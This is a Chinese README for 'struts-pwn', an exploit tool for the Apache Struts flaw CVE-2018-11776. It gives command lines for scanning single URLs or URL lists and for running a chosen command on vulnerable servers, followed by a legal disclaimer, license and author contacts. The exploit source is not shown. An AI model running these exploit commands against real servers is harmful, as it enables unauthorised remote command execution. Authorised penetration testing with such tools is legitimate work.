struts-pwn - CVE-2018-11776 漏洞利用工具

用于 Apache Struts CVE-2018-11776 的漏洞利用工具

用法

检查单个 URL 是否存在漏洞。

python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'

检查 URL 列表中的每个地址是否存在漏洞。

python struts-pwn.py --list 'urls.txt'

对单个 URL 执行漏洞利用。

python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'

对 URL 列表执行漏洞利用。

python struts-pwn.py --exploit --list 'urls.txt' -c 'id'

演示

环境要求

• Python2 或 Python3
• requests

法律免责声明

本项目仅用于教育和道德测试目的。未经双方事先同意而使用 struts-pwn 攻击目标属于非法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，也不对本程序造成的任何误用或损害负责。

许可证

本项目采用 MIT 许可证。

作者

Mazin Ahmed

• 网站：https://mazinahmed.net
• 邮箱：mazin AT mazinahmed DOT net
• Twitter：https://twitter.com/mazen160
• 领英：http://linkedin.com/in/infosecmazinahmed